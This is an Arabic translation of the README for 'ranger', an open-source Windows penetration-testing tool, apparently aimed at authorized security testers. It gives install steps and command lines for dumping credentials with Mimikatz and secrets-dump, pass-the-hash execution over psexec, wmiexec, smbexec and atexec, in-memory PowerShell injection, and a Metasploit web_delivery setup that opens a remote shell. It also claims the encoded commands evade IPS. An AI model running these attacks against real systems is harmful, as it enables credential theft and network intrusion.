ranger

أداة لدعم محترفي الأمن للوصول والتفاعل مع أنظمة مايكروسوفت ويندوز البعيدة.

تم تصميم هذا المشروع بناءً على فكرة أننا لم نخترع القوس أو السهم، بل فقط طريقة أكثر فعالية لاستخدامهما.

Ranger هو أداة هجوم واختبار اختراق تعمل عبر سطر الأوامر، ولديها القدرة على استخدام خادم مقلاع (catapult server) مُفعَّل لتوصيل القدرات الهجومية ضد أنظمة ويندوز. طالما أن المستخدم لديه مجموعة من بيانات الاعتماد أو مجموعة تجزئة (NTLM, LM, LM:NTLM)، يمكنه الوصول إلى الأنظمة التي هي جزء من مجال الثقة.

باستخدام هذه الإمكانية، يمكن لمحترف الأمن استخراج بيانات الاعتماد من الذاكرة بنص واضح، والوصول إلى جداول SAM، وتنفيذ الأوامر، وتشغيل سكريبتات PowerShell، وثنائيات ويندوز، وأدوات أخرى. في الوقت الحالي، تتجاوز الأداة معظم حلول البائعين لأنظمة منع الاختراق (IPS) ما لم يتم ضبطها خصيصًا لاكتشافها. تم تطوير الأداة باستخدام مختبراتنا المنزلية في محاولة لدعم محترفي الأمن في القيام بأنشطة قانونية و/أو تعاقدية مدعومة.

يتم إضافة المزيد من الوظائف، لكن في الوقت الحالي تستخدم الأداة المساهمات المجتمعية من المستودعات المتعلقة بفرق PowerView في PowerShell، وMimikatz في PowerShell، وImpacket.

إدارة Ranger:

التثبيت:

wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

التحديث:

ranger --update

الاستخدام:

• يستخدم Ranger مزيجًا من الطرق والهجمات، حيث تُستخدم الطريقة لتوصيل هجوم/أمر.
• الهجوم هو ما تحاول تحقيقه.
• بعض العناصر هي طريقة وهجوم مدموجان معًا، ولا يمكن لبعض الطرق استخدام بعض الهجمات بسبب القيود الحالية في المكتبات أو البروتوكولات.

الطرق والهجمات:

--scout
--secrets-dump

الطريقة:

--wmiexec
--psexec
--smbexec
--atexec

الهجوم:

--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

تنفيذ الأوامر:

العثور على المستخدمين المسجلين دخولاً:

ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

واجهة أوامر SMBEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

واجهة أوامر PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

تنفيذ أوامر PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

تنفيذ أوامر WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

حاقن ذاكرة WMIEXEC لـ PowerShell Mimikatz:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

حاقن ذاكرة WMIEXEC لـ Metasploit web_delivery (يتطلب تكوين Metasploit انظر أدناه):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

حاقن ذاكرة WMIEXEC لكود مخصص:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

تنفيذ أوامر ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

حاقن ذاكرة ATEXEC لـ PowerShell Mimikatz:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

حاقن ذاكرة ATEXEC لـ Metasploit web_delivery (يتطلب تكوين Metasploit انظر أدناه):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

حاقن ذاكرة ATEXEC لكود مخصص:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

حاقن ذاكرة SECRETSDUMP لكود مخصص:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

إنشاء هجوم Mimikatz قابل للصق:

ranger.py --invoker -q -v -vv -vvv

إنشاء هجوم web_delivery قابل للصق (يتطلب تكوين Metasploit انظر أدناه):

ranger.py --downloader -q -v -vv -vvv

إنشاء هجوم Executor قابل للصق:

ranger.py --executor -q -v -vv -vvv

تحديد أعضاء المجموعات والمجالات

• عند تحديد المجموعات، تأكد من تحديد مجال الاستعلام الفعلي باستخدام --get-domain-membership
• ثم عند الاستعلام عن مجموعة، استخدم --domain الاختياري، والذي يتيح لك استهداف مجال مختلف عن الذي سجلت الدخول إليه

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

ملاحظات حول الاستخدام:

تنسيق ملف بيانات الاعتماد:

• يمكنك تمرير قائمة بأسماء المستخدمين وكلمات المرور أو التجزئات بالتنسيق التالي في نفس الملف:

username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

تحذيرات ملف بيانات الاعتماد:

• إذا قدمت أسماء مجالات في الملف، فسيتم استخدامها بدلاً من WORKGROUP الافتراضية.
• إذا قدمت اسم المجال عبر سطر الأوامر -d، فسيستنتج أنك تريد تجاهل جميع أسماء المجالات الموجودة في الملف.

تنفيذ سطر الأوامر:

• إذا كنت لا ترغب في استخدام الملف، يمكنك تمرير التفاصيل مباشرة عبر سطر الأوامر.
• إذا كنت ترغب في تقديم تجزئات بدلاً من كلمات المرور، فما عليك سوى تمريرها عبر وسيطة كلمة المرور.
• إذا كانت بتنسيق PWDUMP ولم تقدم اسم مستخدم، فسيستخرج اسم المستخدم من التجزئة.
• إذا قدمت اسم مستخدم، فسيعتقد أن نفس التجزئة تنطبق على مستخدم آخر.
• استخدم التنسيقات التالية لكلمة المرور:

password
LM:NTLM
:NTLM
PWDUMP

الأهداف والاستثناءات:

• يمكن استخدام الأهداف والاستثناءات في نفس الوقت

الأهداف، نطاقات الأهداف، CIDR للأهداف، قوائم الأهداف، أهداف NMAP XML:

• يمكنك تقديم قائمة بالأهداف إما باستخدام قائمة أهداف أو من خلال خيار الهدف.
• يمكنك تقديم ملفات قوائم أهداف متعددة عن طريق الفصل بينها بفاصلة وسيقوم بتجميع البيانات وإزالة التكرارات ثم استبعاد عنوان IP الخاص بك من الواجهة الافتراضية أو الواجهة التي تقدمها.
• الأداة تقبل تدوينات CIDR، نطاقات صغيرة (192.168.195.1-100) أو نطاقات كبيرة (192.168.194.1-192.163.1.1) أو عناوين IP مفردة.
• مرة أخرى، قم بفصلها بفاصلة عبر سطر الأوامر أو ضعها في ملف مفصول بسطر جديد.
• يمكن أيضًا استخدام NMAP XMLs لاستهداف الأنظمة، ويمكن أيضًا فصلها بفاصلة
• ستقوم الأداة بتطبيع وإزالة التكرارات قبل استهداف الأجهزة
• مثال: -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

الاستثناءات، نطاقات الاستثناءات، CIDR للاستثناءات، قوائم الاستثناءات، استثناءات NMAP XML:

• يمكنك استبعاد الأهداف باستخدام وسيطات الاستبعاد أيضًا، لذلك إذا لم تلمس Class C صغيرة من Class A فستتعامل مع ذلك من أجلك.
• يمكن تنفيذ الاستثناءات بنفس طريقة الأهداف، فقط استبدل t في الأوامر بـ e
• مثال: -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

أنظمة منع الاختراق (IPS):

• يستخدم Mimikatz وDownloader وExecutor حقن ذاكرة PowerShell عن طريق استدعاء خدمات وبروتوكولات أخرى.
• الأوامر مشفرة مزدوجًا وتتجاوز حلول IPS الحالية (حتى الجيل التالي) ما لم يتم ضبطها خصيصًا لاصطياد هذه الهجمات.
• ATEXEC هو الوحيد الذي يهبط على القرص حاليًا ولا يقوم بالتشفير، ولا يزال لدي بعض إعادة الكتابة لأقوم بها.

هجمات Invoker:

• ينفذ PowerShell Mimikatz على الجهاز الهدف
• يعيّن الوظيفة/cmdlet افتراضيًا إلى Invoke-Mimikatz، والتي يمكن تغييرها باستخدام -f
• يعيّن الوسائط افتراضيًا إلى DumpCreds، والتي يمكن تغييرها باستخدام -a
• يتطلب Invoker كلاً من الخيارين -f و-a إذا كنت تريد تغيير الأمر، لتجنب استخدام -a يمكنك استخدام Executor
• مثال: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

هجمات Executor:

• يتيح لك تشغيل ثنائيات و/أو سكريبتات PowerShell على الأجهزة الهدف
• يجب أن يكون في الدليل الحالي حيث يوجد السكريبت أو الثنائي على جهاز الهجوم الخاص بك
• سيتم حقن السكريبت أو الثنائي مباشرة في الذاكرة
• يتطلب تحديد الحمولة (ثنائي أو سكريبت) باستخدام -x
• يتطلب تعريف الوظيفة/cmdlet/الوسائط باستخدام -f
• اختياريًا، يمكنك تحديد الأمر بشكل أكبر باستخدام -a إذا كانت الأداة تتطلب ذلك
• مثال 1: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
• مثال 2: -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds

هجمات Downloader (web_delivery):

• لإعداد Metasploit لاستغلال web_delivery، ابدأ Metasploit وقم بتكوين الاستغلال ليتوافق مع الشروط التالية.

use exploit/multi/script/web_delivery
set targets 2
set payload <اختر الحمولة التي تريدها>
set lhost <عنوان IP الخاص بك>
set lport <منفذ للشيل تأكد من أنه ليس منفذًا متعارضًا>
set URIPATH /
set SRVPORT <نفس ما تم تعيينه بواسطة الخيار -r في ranger، الافتراضي هو 8888>
exploit -j

الأسئلة الشائعة

أخطاء رفض الوصول لـ SMBEXEC وWMIEXEC

أحصل على أخطاء رفض الوصول في أجهزة ويندوز التي هي جزء من WORKGROUP.

عندما لا تكون جزءًا من مجال، لا تحتوي ويندوز افتراضيًا على أي مشاركات إدارية. يعتمد SMBEXEC على تمكين المشاركات. بالإضافة إلى ذلك، WMIC غير ممكنة على أجهزة WORKGROUP. صُمم SMBEXEC وWMIEXEC لاستهداف البروتوكولات الممكنة على أنظمة المجال. بينما من الممكن بالتأكيد تمكين هذه الوظائف على نظام WORKGROUP، لاحظ أنك تقدم بروتوكولات ضعيفة (بعد كل شيء، هذا ما صُممت هذه الأداة لمهاجمته). تمكين هذه الميزات على نظام منزلك الرئيسي الذي يستخدمه شريكك لفيسبوك أيضًا ليس فكرة جيدة على الأرجح.

• تأكد من أن هذا جهاز اختبار تملكه. يمكنك فرض تمكين المشاركات باتباع التعليمات هنا: http://www.wintips.org/how-to-enable-admin-shares-windows-7/
• إذا كنت تريد تحديد المشاركات المكشوفة ثم استهدافها، يمكنك استخدام أداة مثل enum4linux ثم استخدام الوسيطة --share share_name في ranger لمحاولة تنفيذ SMBEXEC.

الميزات المستقبلية:

إخراج ملون:

• الاستمرار في إضافة إخراج ملون باستخدام https://pypi.python.org/pypi/colorama
• WINDOWER – تنفيذ PowerShell دون إخفاء النافذة لتجنب أنظمة مراقبة معينة
• GATHERER – مستخرج آلي لبيانات الاعتماد لمجموعة مجال
• HUNTER - قرار شبه ذكي (SID) – يحدد مسار التصعيد بناءً على تشابهات العضوية في المجموعة باستخدام أشجار التصنيف
• تحليل أفضل لـ NTDS والمجموعات
• خوادم SMB مقلاع

شكر:

• Microsoft لـ PowerShell (وبشكل مسبق لـ bash في ويندوز!)
• لفريق CoreLabs Impacket
• فريق PowerShellEmpire
• Mattifestation لبدء PowerSploit وPowerShellMafia والمساهمين لمواصلة تطويره
• أصدقاؤنا والمجتمع من أجل المجتمع البناء

تم تقديمها في:

[BSides Charm City 2016: 23 أبريل 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

فيديو العرض التقديمي:

[فيديو] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

التوزيعات التي تشملها الأداة:

[Black Arch Linux] (https://blackarch.org/)